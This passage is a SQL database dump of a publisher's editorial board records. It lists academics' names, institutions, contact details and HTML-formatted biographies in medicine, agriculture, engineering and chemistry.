Syndrome and Obesity: Targets and Therapy; British Journal of Medicine and Medical Research; Biomarkers in Medicine; Pediatrics &amp; Therapeutics; Journal of Vascular Medicine &amp; Surgery; Journal of Pain &amp; Relief; Cardiology and Angiology: An International Journal; Journal of Multiple Sclerosis; Journal of Clinical Case Reports; Journal of Haematology &amp; Thromboembolic Diseases, Acta Biochimica et Biophysica Sinica; Journal of Gerontology &amp; Geriatrics Research; Cloning &amp; Transgenesis.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\"><em><strong>Research Interest:</strong></em></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Coronary artery disease, Heart Failure, Atherosclerosis Hypertension, Prognosis, Biological Markers, Comorbidities, Metabolic disorders, Visualization procedures, Cardiovascular Prevention and Rehabilitation, and Vascular Biology</span></p>\r\n',1,'2018-08-01 16:13:35','2018-08-15 09:43:32',1),(211,28,20,'1533232597.jpg','Majid  Alabbood','dr_majid79@yahoo.com','','Specialist Endocrinologist','Editorial board member','Iran','AlZahraa Medical College','18','',1,'2018-08-01 16:18:15','2018-08-02 23:26:37',1),(212,15,20,'1533138701.jpg','Dr.Mohamed Elarbi','mselarbi@hotmail.com','+218913163322','Professor and Senior Consultant Oral and Maxillofacial Surgeon','Editorial board member','Libya','Sbea Neursurgery Center University Hospital','21','',1,'2018-08-01 21:21:41','2018-08-02 23:48:18',1),(213,35,20,'1533146590.jpg',' Antar El-Banna','antar.elbana@agr.kfs.edu.eg','+2 01061157294','Department of Genetics, Faculty of Agriculture','Editorial board member','Egypt','Kafrelsheikh University','19','<p><span style=\"font-size:18px\"><em><strong><span style=\"font-family:Times New Roman,Times,serif\">Research interests:</span></strong></em></span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Improvement resistant and/or tolerant of plants for biotic and abiotic stresses using Tissue genetic engineering technologies</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Gene function analysis using Next generation sequencing and gene silencing approaches.</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Molecular genetics, genetic diversity and phylogenetic analysis.</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Molecular characterization and exploitation of rhizosphere microorganisms for crop yield improvement.</span></li>\r\n</ul>\r\n\r\n<p><span style=\"font-size:18px\"><em><strong><span style=\"font-family:Times New Roman,Times,serif\">Research experience:</span></strong></em></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">1- Extensive scientific and technical knowledge of genetics/genomics, Proteomics, transcriptomics,plant biotechnology, and molecular biology.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">2- Outstanding communication skills: verbal, written and presentation.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">3- Excellent negotiation and rhetorical skills with demonstrated ability to influence others and work towards consensus.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">4- A good potential and cooperative behavior with the working team members</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">5-Well conversant with computer applications like Microsoft Word, Word Perfect, Slide Write and PowerPoint, Internet Skills, Blast search analysis.</span></p>\r\n',1,'2018-08-01 23:33:10','2018-08-01 23:46:56',1),(214,35,20,'1533147308.png','Idress Attitalla','idressattitalla2004@yahoo.com','','Botany Department (Head of Department of Microbiology)','Editorial board member','Libya','University of Omar Al-Mukhtar','20','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Idress Hamad Attitalla, (Professor, 2015) has completed his PhD at the age of 31 years from Uppsala University (Sweden) and postdoctoral studies from USM University Sains Malaysia. He is the director of Research and Study at Agriculture Research Center (ARC) up to 2014, and Scientific Consultant, Libya and director of departments of microbiology at (Omar Al-Mukhtar University, Al-Bayda, Libya&Ugrave;?up to now). He published more than 80 papers in reputed journals and serving as an editorial board member of repute, and 1 book in Arabic about Algae and 1 translated book about proteomic.</span></p>\r\n',1,'2018-08-01 23:42:37','2018-08-01 23:45:08',1),(215,35,20,'1533147940.png','Entessar Al Jbawi','dr.entessara@gcsar.gov.sy','00-963-988-699884','Head of Sugar Beet Department,Co editor in chief in Syrian Journal of Agricultural Research (SJAR)','Editorial board member','Syrian Arab Republic','General Commission for Scientific Agricultural Research','21','<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Publications: </strong></em>Publications: <span style=\"color:#00b050\">15 </span>International papers, <span style=\"color:#00b050\">37 </span>Regional and local papers, <span style=\"color:#00b050\">11 </span>articles, <span style=\"color:#00b050\">3 </span>booklets, <span style=\"color:#00b050\">12 </span>scientific reports, <span style=\"color:#00b050\">14 </span>national conferences, <span style=\"color:#00b050\">1 </span>book, <span style=\"color:#00b050\">12 </span>Master students, <span style=\"color:#00b050\">4 </span>Ph. D students, <span style=\"color:#00b050\">3 </span>international and national projects, <span style=\"color:#00b050\">2 </span>international work shops and <span style=\"color:#00b050\">4 </span>international training courses. <span style=\"color:#00b050\">8 </span>international conferences.Editorial board member in <span style=\"color:#00b050\">7 </span>international journals</span>.</p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Achievements:</strong></em></span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Reproduction sugar beet seeds locally for the first time in Syria (2017).</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">New planting date of sugar beet crop in Syria for the Northern and Eastern area in Al Raqqa and Der Al Zur governorates (Summer time, 15th July to 15th August). 2013.</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Recommendation of 14, and 22 monogerm and multigerm sugar beet varieties to be grown in largescale in autumn time, also 25 monogerm and 25 multigerm sugar beet varieties to be grown in largescale in winter time, in Syria.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Reviewed more than 50 international manuscripts in different international refereed journals.</span></li>\r\n</ul>\r\n',1,'2018-08-01 23:55:40','2018-08-02 00:01:29',1),(216,35,20,'1533148500.jpg','Bed Mani Dahal','bedmani@ku.edu.np','+977 9851216191','Associate Professor, Department of Environmental Science and Engineering','Editorial board member','Nepal','Kathmandu University','22','',1,'2018-08-02 00:05:00','2018-08-02 00:05:00',1),(217,28,20,'1533148916.jpg','Kevin Peter Shotliff','Kevin.Shotliff@chelwest.nhs.uk','','Department of Diabetes and Endocrinology Chelsea and Westminster Hospital; Honorary Senior Lecturer','Editorial board member','United Kingdom','Imperial College London','07','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Having undertaken a General Medical Registrar rotation in South West Thames I studied for my Master Degree at the Hammersmith Hospital prior to joining the South West Thames Diabetes and Endocrinology Senior Registrar Rotation. In June 1998 I was appointed Consultant Physician with an interest in Diabetes and Endocrinology at Kingston Hospital, Surrey where I ran a district general hospital diabetes and endocrinology service, with out-reach diabetes and endocrinology clinics and was Chairman of the Department of Medicine and Trust Information Technology Lead for my last 4 years there.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In March 2003 I moved to the Chelsea and Westminster Hospital and also hold Honorary Consultant Endocrinologist Contracts with the Royal Brompton Hospital, London (where I undertake a Cystic Fibrosis Related Diabetes Clinic) and The Royal Marsden Hospital. On the Chelsea and Westminster Hospital site I have a General Medicine responsibility as well as providing a Diabetes and Endocrine outpatient service with 4 colleagues. I was also the Clinical Lead for the Obesity Service for Central London Community Healthcare Trust (2009-2014), where I helped set up a Tier 3 service for the Kensignton and Chelsea CCG.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">I was the Clinical Tutor for Chelsea and Westminster Hospital from 2003 to 2013 and then became the Director of Multi-professional Education for the trust in 2013 to date. I am involved in teaching an MSc module in Diabetic Retinopathy for the University of Roehampton Diabetes MSc program, as well as teaching and examining on the Middlesex University / Rila Publications Postgraduate Diploma in Diabetes and Endocrinology course from 1998 to date.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">I chaired the London Deanery Clinical Tutors group from 2007 to 2009, being deputy from 2005 to 2007. I am an Honorary Senior Lecturer at Imperial College, London and was Chairman of the Year 3 Examination Board for the Imperial College MB BS course (2008 &ndash; 2015). I was President of the British Association of Retinal Screening (BARS) from 2010 to 2013, having been a council member for BARS from 2006 to 2010, and represented the UK on the International Diabetes Federations Diabetic Retinopathy Education Group from 2011-2013.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">I am currently on the Department of Health&rsquo;s Endocrinology Clinical Reference Group, representing London and the South East, and an on the Departments of Health&rsquo;s Improving Value Group, representing the Endocrinology CGR, as well as serving on the NICE Adult Diabetes Guidelines group. I have written several diabetes and endocrinology text book chapters including the diabetes and lipid sections in the first two editions of the Oxford Handbook of Diabetes and Endocrinology, chapters on diabetes in the Oxford Textbook of Diagnosis and Treatment and on diabetes and hypoglycaemia in the Oxford Textbook of Acute Medicine, as well as the adrenal crisis section for the Oxford Textbook of Acute Medicine. My research interests include diabetic retinopathy and screening, methods for the delivery of postgraduate and undergraduate education and I have supervised both BSc and PhD research degees, through Imperial college.</span></p>\r\n',1,'2018-08-02 00:11:55','2018-08-02 00:13:16',1),(218,31,20,'1533149616.jpg','Domenico Antonio Restivo','darestivo@libero.it','+393397534652','Department of Internal Medicine','Editorial board member','Italy','Nuovo Garibaldi Hospital','05','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Restivo was born in Catania on 1969. He graduated from the University of Catania in 1994 He completed his residence in Neurology at the University of Catania in 1999 and his residence in Physical Medicine and Rehabilitation at the same university in 2007. He received a PhD in &quot;Applied Biomedical Sciences&quot; at the Institute of Human Physiology, University of Catania in 2002. He is Consultant Neurologist at the Neurologic Unit of the &quot;Garibaldi&quot; Hospital of Catania, where in addition to clinical work is also chief of the laboratory of clinical neurophysiology. His main scientific interests are: neurogenic dysphagia, pathophysiology of swallowing control, neurogenic dysphagia rehabilitation, electromyography, neuropathic pain, and peripheral neuropathies. Dr. Restivo has participated in important international clinical trials on diabetic neuropathic pain, and he has received grants as principal investigator for research projects on neurogenic dysphagia by the Italian Multiple Sclerosis Foundation (FISM). Dr Restivo is reviewer of submitted reasearch project for the Italian Multiple Sclerosis Foundation (FISM). He has participated as an author / co-author of a major book series. He is author/coauthor of about 100 scientific publications in journals of national and international importance. He partecipated as speaker to a number of international neurological meetings and is reviewer of numerous prestigious international scientific journals, including &ldquo;The New England Journal of Medicine&rdquo;,&rdquo;The&nbsp; Lancet&rdquo;, &ldquo;Lancet Neurology&rdquo;, &ldquo;Gastroenterology&rdquo;, &ldquo;European Journal of Neurological Sciences, Neurological Sciences &ldquo;. </span></p>\r\n',1,'2018-08-02 00:23:35','2018-08-02 00:23:35',1),(219,35,20,'1533234181.jpg','Shoji Ohga','ohga@forest.kyushu-u.ac.jp','81929483116','Department of Agro-environmental Sciences Faculty of Agriculture','Editorial board member','Japan','Kyushu University','23','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Fungi Mushrooms is specialized in research on environmental restoration and health foods.</span> <span style=\"color:#222222\">In particular, there are many achievements of purification of soil contamination by fungi and restoration of natural environment preservation power. Studies on medicinal mushrooms and traditional Chinese medicine are advancing advanced research on the maintenance of scarce natural resources such as caterpillar fungi, <em>Ophiocordyceps sinensis</em>.</span></span></p>\r\n',1,'2018-08-02 23:53:01','2018-08-02 23:53:01',1),(220,35,20,'1533234517.jpg','Luis F. Garcia del Moral ','lfgm@ugr.es','(34) 958 24 32 53','Department of Plant Physiology, Faculty of Sciences','Editorial board member','Spain','University of Granada','24','<p><span style=\"font-family:Times New Roman,Times,serif\">Luis F. Garcia del Moral is a Full Professor of Plant Physiology and Biotechnology at the Faculty of Sciences in the University of Granada (Spain). Senior Principal Scientific is the head of a research group on Crop Physiology. His research efforts are dedicated to the understanding of yield determination and quality of cereal crops under different management and environmental conditions, with emphasis on water and high temperature stresses in the Mediterranean area, as well as in the use of physiological and molecular markers as tools for breeding in dry environments. Author of 69 scientific articles cited in Web of Science (WOS) and 14 book chapters, his h index in WOS is 24 and 33 in Google Scholar. Director of more than 17 research projects and 13 doctoral theses on crop physiology, he has been commissioned by the Rector of the University of Granada for scientific and academic relations with Morocco and has served as an adviser and evaluator for various agencies of the Spanish Government. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research of Interest:</strong> Crop physiology, abiotic stress, plant growth analysis, crop phenology, ecophysiological and molecular approaches in plant breeding.</span></p>\r\n',1,'2018-08-02 23:58:36','2018-08-02 23:58:36',1),(221,35,20,'1533235048.jpg','Gamal Abdel-Nasser Mohamed Khalil','nasserga@alexu.edu.eg','(+2) 01112632489','Professor of Soil Physics & Water Management Faculty of Agriculture','Editorial board member','Egypt','Alexandria University','25','<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Gamal Khalil is working as full professor of soil physics and water management, Soil and Agricultural Chemistry Dept., Faculty of Agriculture (Saba Basha)- Alexandria University- Alexandria &ndash; EGYPT. Prof. Gamal Khalil was born in Alexandria, Egypt on March 09, 1953. He attended the Alexandria University and graduated in 1975 with B.Sc. degree in Soil and Water Sciences. He obtained M.Sc. degree in Soil Physics from Assiut University, Egypt in 1984. In 1991 he was awarded a Ph.D. degree in Soil Physics from Alexandria University, Egypt. He joined the Department of Soils and Agricultural Chemistry, Alexandria University, Egypt as Lecturer in 1991, Assistant Professor in 1996 and full Professor in 2002. He is specialized in soil physics &amp; water management and is involved in teaching both undergraduate and graduate level courses in soil physics program (Soil physics, Advanced soil physics, Applied soil physics, Environmental soil physics, Solid Waste Management, Soil Hydrology, Soil, water and plant relations and Transport processes in soil environment). His research interests are focused on fate and transport of pollutants in soil and groundwater, water and solute transport in soil, soil and wastewater remediation with organic wastes. He has authored and co-authored for about 107 scientific publications in refereed journals. He is Editor and Associate Editor of many international journals. He was a supervisor and co-supervisor of 33 M.Sc. and Ph.D. students and contributed for 15 scientific projects. He regularly reviews papers for scientific journals as well as research proposals and projects for governmental agencies.</span></p>\r\n\r\n<p><span style=\"font-size:18px\"><strong><span style=\"font-family:Times New Roman,Times,serif\">Research Interest:</span></strong></span></p>\r\n\r\n<p dir=\"LTR\" style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Soil physical properties in relation to water management; Water in relation to soil and plant; Plant-water consumptive use; Water-use efficiency; Water movement in relation to pollution sources; Irrigation scheduling in desert regions; Fertilization in relation to water-use efficiency; Water saving through using plant antitranspirants; Clay-jar subsurface irrigation system; Simulation models of transport processes for water and pollutants; Water conservation through soil surface treatments; Studies on infiltration function in relation to irrigation methods; Computer simulation of soil-water relations, Agro-meteorological studies of plant evapotranspiration; Application of statistical methods in soil physics studies; Modeling of solute transport in soil system; Management of soil physical properties; Fertigation management in desert regions; Organic farming; Soil conditioners; Using organic residues in remediation of contaminated soils with heavy metals; Using organic residues in remediation of industrial wastewaters; Using nanotechnology in wastewater treatment.</span></p>\r\n',1,'2018-08-03 00:07:27','2018-08-03 00:09:41',1),(222,19,20,'1533235672.jpg','David Cheneler','d.cheneler@lancaster.ac.uk','07792414402','Lecturer in Engineering','Editorial board member','England','Lancaster University','17','<p><span style=\"font-family:Times New Roman,Times,serif\">I am a lecturer in engineering at Lancaster University, a chartered engineer and a fellow of the HEA. I am the Deputy Admissions Director and Internationalisation Coordinator for the Engineering Department. In this latter role, I coordinate International Teaching Partnerships (in China, India and Pakistan), Strategic Research Partnerships and international collaborations in Asia, Africa and the Middle East and elsewhere globally. I am also the Director of the international partnerships within Engineering for COMSATS in Pakistan (Lahore campus) and GDGWI in India and am primarily responsible for quality assurance of the programmes delivered there. I am also the programme director for the MSc in International Innovation (engineering pathway) which is part of the Lancaster China Catalyst Programme, which aims to develop partnerships between UK companies with commercial partners in China. I am course convenor on a first year module, ENGR119: Design, Innovation and 3D Thinking, and a fourth year/MSc module, ENGR411/511: Advanced CAD/CAM, and co-teach another module: ENGR404/504: Mechanics and Actuators. I am also on the Operations team for the Materials Science Institute at Lancaster University.</span></p>\r\n\r\n<p><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Specialties:</strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Material characterisation, numerical modelling including FEA, CFD and FDM, advanced manufacturing including additive manufacturing and laser processing, development of biomedical technologies.</span></p>\r\n',1,'2018-08-03 00:17:52','2018-08-03 00:17:52',1),(223,26,20,'1533236080.jpg','FSalah Altarabsheh','salah936@gmail.com','962- 777181844','Department of Cardiovascular Surgery','Editorial board member','Jordan','Queen Alia Military Hospital','05','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr Salah Altarabsheh is a Jordanian born, board certified in cardiac surgery, who is currently working as a consultant cardiac surgeon in Queen Alia Heart Institute, Jordan</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Salah had his advanced cardiac surgery training for two years in full time at the Mayo Clinic Foundation, Rochester, MN as well as one full year time at Texas Heart Institute, Houston, TX.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Scientifically he is being interested in new advances in mitral valve repair as well as coronary arterial revascularization.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Salah has outstanding records of scientific and academic accomplishments that include numerous publications in highly prestigious journals and various presentations in both national and international conferences and had been awarded for his research achievements.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He also serves as an editorial board member as well as reviewer in couple of scientific journals</span></p>\r\n',1,'2018-08-03 00:24:39','2018-08-03 00:24:39',1),(225,22,20,'','Jianying Zhang','jianying@pitt.edu','1-412-648-9294 ','Research Associate Professor  Department of Orthopaedic Surgery','Editorial board member','USA','University of Pittsburgh','01','',1,'2018-08-03 00:49:35','2018-08-03 00:49:35',1),(226,35,20,'1533319631.jpg','Said Elshahat Abdallah ','saidelshahat@agr.kfs.edu.eg','+201008407294','Faculty of Agriculture, Department of Agricultural Engineering','Editorial board member','Egypt','Kafrelsheikh University','26','<p><span style=\"font-family:Times New Roman,Times,serif\">Prof. Dr. Said Elshahat Abdallah is working as Professor of Agricultural Process Engineering, Department of Agricultural Engineering, Faculty of Agriculture, Kafrelsheikh University, Egypt. He was born on January 6, 1972. He obtained his Ph. D. degree in Technical Sciences in November 2005 from the Faculty of Design, Don State Technical University, Russia. He prepared many scientific literatures such as Engineering of Food Factories and Dairy Plants, Engineering Thermodynamics and Heat Transfer, introduction to agricultural process engineering, Instrumentation, Properties and Testing of Engineering Materials,Fitting of Curves and Differential Equations and Differentiation &amp; Integration, etc&hellip; He published more than thirty research articles in international peerreviewed journals. He supervised, has done and examined about twenty M. Sc. and Ph. D. dissertations. He participated in several either local or international conferences on the topics of Agricultural Process Engineering. He contributed in the attendance of many meetings, workshops and training courses. He was awarded: Food Engineer of the Year Award &ndash; 2010; Excellence Award in<br />\r\nInternational Scientific Publication &ndash; 2011, 2012, 2013, 2014, 2015, 2016, 2017 and 2018; Arab Papers Published on Agriculture &ndash; 2012; Egypt 25 Foundation Award &ndash; 2012; Who&#39;s Who in the World &ndash; 2013, 2014 and 2015; 2000 Outstanding Intellectuals of the 21st Century &ndash; 2013; Top 100 Engineers&ndash; 2013; International Biographical Center Man of The Year&ndash; 2013; Cambridge Certificate for Outstanding Engineering Achievement &ndash; 2013 and Cambridge Certificate for Outstanding Educational Achievement &ndash; 2013. He served as: Editor-in-Chief; Associate Editor; Editorial Board Member; Food Expert; Reviewer, etc&hellip; in more than five hundred international peer-reviewed journals.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest:</strong><br />\r\nAgricultural Process Engineering; Postharvest Technology; Bioengineering; Food &amp; Dairy Engineering; Agro-Industrial Waste Management; Process and Bioprocess Engineering; Thermal &amp; Non-Thermal Process Engineering; Agricultural Production Engineering; Postharvest operations Engineering; Composting and Vermicomposting Process; Non-Conventional Forages Processing; Farm Wastes Bioconversion; By-Products Recycling Engineering.</span></p>\r\n',1,'2018-08-03 23:37:11','2018-08-03 23:37:11',1),(227,35,20,'1533320230.jpg','Muhammed Yuceer','myyuceer@gmail.com','+90.536.457.28.77','Assistant Professor ','Editorial board member','Turkey','Canakkale Onsekiz Mart University','27','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Muhammed Yuceer is a food scientist and an academician (Assistant Professor in the Department of Food Processing, Canakkale Onsekiz Mart University (Comu), Canakkale, Turkey). Yuceer received Bsc from Yuzuncu Yil University (2002), and MSc from Istanbul Technical University, department of food engineering (2007). Yuceer obtained PhD in food engineering department of Comu (2013). His career began in R&amp;D department of largest egg processing plant in Turkey. Before joining the University, he was a Deputy Director of Factory Manager, as an egg-processing expert for 10 years. His current research interests on egg science and application of novel techniques.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interest:</strong><br />\r\nEgg Science and Technology (Egg and Egg Products, Egg Processing), Thermal and Non-Thermal Emerging Food Preservation Techniques (active packaging, coating application, antimicrobial coating, ozone, ultrasound, electrolyzed water etc.), Food Defense, Food Safety, Quality Control and Quality Management Systems, Functional Food, Rheology and filtration, Industrial Food Production, Protein Separation and Purification Process for Bioactive Substances of foods and eggs. Control and System Engineering for Food Industry.</span></p>\r\n',1,'2018-08-03 23:47:10','2018-08-03 23:47:10',1),(228,35,20,'1533320680.jpg','Sevil Saglam Yilmaz','saglamsevil@gmail.com','+9003862804818','Assoc. Prof, Department of Agricultural Biotechnology ','Editorial board member','Turkey','University of Kirsehir Ahi Evran ','28','<p><span style=\"font-family:Times New Roman,Times,serif\">Sevil Saglam Yilmaz is Assoc.<strong> </strong>Professor of Agricultural Biotechnology at University of Kirsehir Ahi Evran, Kirsehir, Turkey. She is also the chair of that Department. Dr Sevil Saglam Yilmaz received master&rsquo;s level &nbsp;and doctoral training in Agricultural Biotechnology at the University of Ankara in Ankara, Turkey. In addition to research, Dr. Sevil Saglam Yilmaz teaches plant tissue culture and plant gene transformation methods to postgraduate students. Dr Sevil Saglam Yilmaz&rsquo;s professional interests are in the area of gene transformation via <em>Agribacterium</em>, mainly in plant biotechnology.</span></p>\r\n',1,'2018-08-03 23:54:40','2018-08-03 23:56:08',1),(229,28,20,'1533321165.jpg','Xiaoping Luo','xpluo@tjh.tjmu.edu.cn','+86-27-83663712','Professor and Chairman, Department of Pediatrics','Editorial board member','China','Tongji Hospital','20','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Xiaoping Luo is the Professor and Chairman of the Department of Pediatrics, Director, Division of Pediatric Endocrinology and Metabolism, Tongji Hospital, Director of the Center for the Diagnosis of Genetic Metabolic Diseases, Tongji Medical College, Huazhong University of Science and Technology, Wuhan, China. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Luo obtained his medical degree from Tongji Medical University in 1985. After graduate study, he stayed in the Department of Pediatrics of the affiliated Tongji Hospital and specialized in neonatology, and was appointed as an associate professor of pediatrics in 1992. From January 1994, he worked as a visiting scientist in the Division of Genetic Metabolic Diseases in the Department of Pediatric Laboratory Medicine in the Hospital for Sick Children in Toronto. In July 1997, he joined the CIHR group in Lung Development and Neonatal Research, and the Lung Biology Programme in the Research Institute of the Hospital for Sick Children, as a research associate/scientist. He was appointed as an adjunct professor in the Department of Paediatrics, Faculty of Medicine, University of Toronto since 2000, before he moved back to China where he subsequently became a full professor and vice chairman of the Department of Pediatrics, Tongji Hospital. He assumed his current positions as Chairman of the Department of Pediatrics in Tongji Hospital in Wuhan since 2003.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Luo is now the Vice President of the Chinese Pediatric Society (CPS), President of the Chinese Society of Pediatric Endocrinology and Metabolism (CSPEM). He is also the past president for the Asia Pacific Paediatric Endocrine Society (APPES), Executive Committee member of the Global Pediatric Endocrinology and Diabetes (GPED), Board of Directors for the Asian Society for Inherited Metabolic Diseases (ASIMD), Council member of the Growth Hormone Research Society (GRS). His main interests are pediatric endocrinology and metabolism, and neonatal/perinatal medicine. Dr. Luo&rsquo;s research was funded by the National Natural Science Foundation of China, the Ministry of Health, the Ministry of Education, and the Ministry of Science and Technology of China, and the World Diabetes Foundation, etc. He has published 48 book chapters and over 380peer reviewed articles, and served as editor or reviewer for 45 domestic and international medical journals.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\"><strong>Research Interest:</strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Neonatology/Perinatology</strong>: Oxygen Toxocity; Oxidant/Antioxidant; Lung Development; Hypoxic Ischemic Encephalopathy; Cardiomyopathy (doxorubicin toxicity, iron overload, reperfusion injury); Free Radical Injury and Lipid Peroxidation.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Genetic Metabolic Disease:&nbsp;</strong>Inborn Errors of Metabolism; Clinical Biochemistry; Mass Spectrometry; Animal Models; QA/QC; etc.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Pediatric Endocrinology and diabetes</strong>: Growth; Puberty;&nbsp; DSD; Adrenal and thyrioid disorders; &nbsp;Obesity and diabetes.</span></p>\r\n',1,'2018-08-04 00:02:44','2018-08-04 00:02:44',1),(230,26,20,'1533321553.jpg','Shih-Tai Chang','cst1234567@yahoo.com.tw','','Department of Cardiology ','Editorial board member','Taiwan, Province of China','Chang Gung Memorial  Hospital','06','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">I had been a clinical cardiologist for 20 years. My expert fields are metabolic syndrome, coronary arterial disease (including myocardial infarction and acute coronary syndrome), peripheral arterial disease. Now, I am at the position of visiting staff of Chia-Yi Chang Gung Memorial Hospital and with the degree of Associated Professor of cardiology.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">My research projects including peripheral arterial disease, erectile dysfunction and coronary disease, and myocardial infarction animal model setting.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In the past years, I had published more than 20 more first author articles in the cardiology field. And, I was of the editorial board of World Journal of Cardiology.</span></p>\r\n',1,'2018-08-04 00:09:12','2018-08-04 00:09:12',1),(231,19,20,'1533322153.jpg','Dazhi Fan','fandazhigw@163.com','','Professor','Editorial board member','China','Maternal & Child Health Hospital of Foshan - Southern Medical University','18','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dazhi Fan completed his Bachelor in Preventive Medicine from Anhui Medical University in 2012.He completed his MPH from Anhui Medical University in 2015.</span></span><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"color:black\"><span style=\"font-family:Times New Roman,Times,serif\">Currently, he is a Public Health Physician in Foshan Institute of Fetal Medicine, Southern Medical University Affiliated Maternal &amp; Child Health Hospital of Foshan</span>. </span></span></p>\r\n\r\n<p style=\"text-align:justify\"><strong><span style=\"color:black\">Research Interests</span></strong><span style=\"color:black\">:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"color:black\">Clinical Trials, Evidence-Based Medicine, Clinical Epidemiology and Public Health, Medical Statistics, Big Data Analytics</span></p>\r\n',1,'2018-08-04 00:19:12','2018-08-04 00:19:12',1),(232,22,20,'1533374229.jpg','Jessica Cottrell','cottreje@shu.edu','732-948-6936 ','Assistant Professor, Department of Biological Sciences','Editorial board member','USA','Seton Hall University','02','',1,'2018-08-04 14:46:19','2018-08-04 14:47:09',1),(233,20,20,'1533374765.jpg','Alireza Heidari','Alireza.Heidari@calsu.us','','Director of the BioSpectroscopy Core Research ','Editorial board member','USA','California South University','05','<p><span style=\"font-family:Times New Roman,Times,serif\">Prof. Dr. Alireza Heidari, Ph.D., D.Sc. is a Full Professor and Academic Tenure of Chemistry at California South University (CSU), Irvine, California, USA. He has got his Ph.D. and D.Sc. degrees from California South University (CSU), Irvine, California, USA. Furthermore, he has double postdocs in Project Management, Oncology, Human Cancer Tissues and Synchrotron Radiation from Monash University, Melbourne, Victoria, Australia and also in Nanochemistry and Modern Molecular Electronic&ndash;Structure Computations Theory from California South University (CSU), Irvine, California, USA.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">His research interests include Biophysical Chemistry, Biomolecular Spectroscopy, Quantum Chemistry, Nanochemistry, Modern Electronic Structure Computations, Theoretical Chemistry, Mathematical Chemistry, Computational Chemistry, Vibrational Spectroscopy, Molecular Modelling, Ab initio &amp; Density Functional Methods, Molecular Structure, Biochemistry, Molecular Simulation, Pharmaceutical Chemistry, Medicinal Chemistry, Oncology, Synchrotron Radiation, Synchrocyclotron Radiation, LASER, Anti&ndash;Cancer Nano Drugs, Nano Drugs Delivery, ATR&ndash;FTIR Spectroscopy, Raman Spectroscopy, Intelligent Molecules, Molecular Dynamics, Biosensors, Biomarkers, Molecular Diagnostics, Numerical Chemistry, Nucleic Acids, DNA/RNA Monitoring, DNA/RNA Hypermethylation &amp; Hypomethylation, Human Cancer Tissues, Human Cancer Cells, Tumors, Cancer Tissues, Cancer Cells, etc.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has participated at more than three hundreds reputed international conferences, seminars, congresses, symposiums and forums around the world as yet. Also, he possesses many published articles in Science Citation Index (SCI)/International Scientific Indexing (ISI) Journals. It should be noted that he has visited many universities or scientific and academic research institutes in different countries such as United States, United Kingdom, Canada, Australia, New Zealand, Scotland, Ireland, Netherlands, Belgium, Denmark, Greece, Russia, Estonia, Ukraine, Turkey, France, Swiss, Germany, Sweden, Norway, Italy, 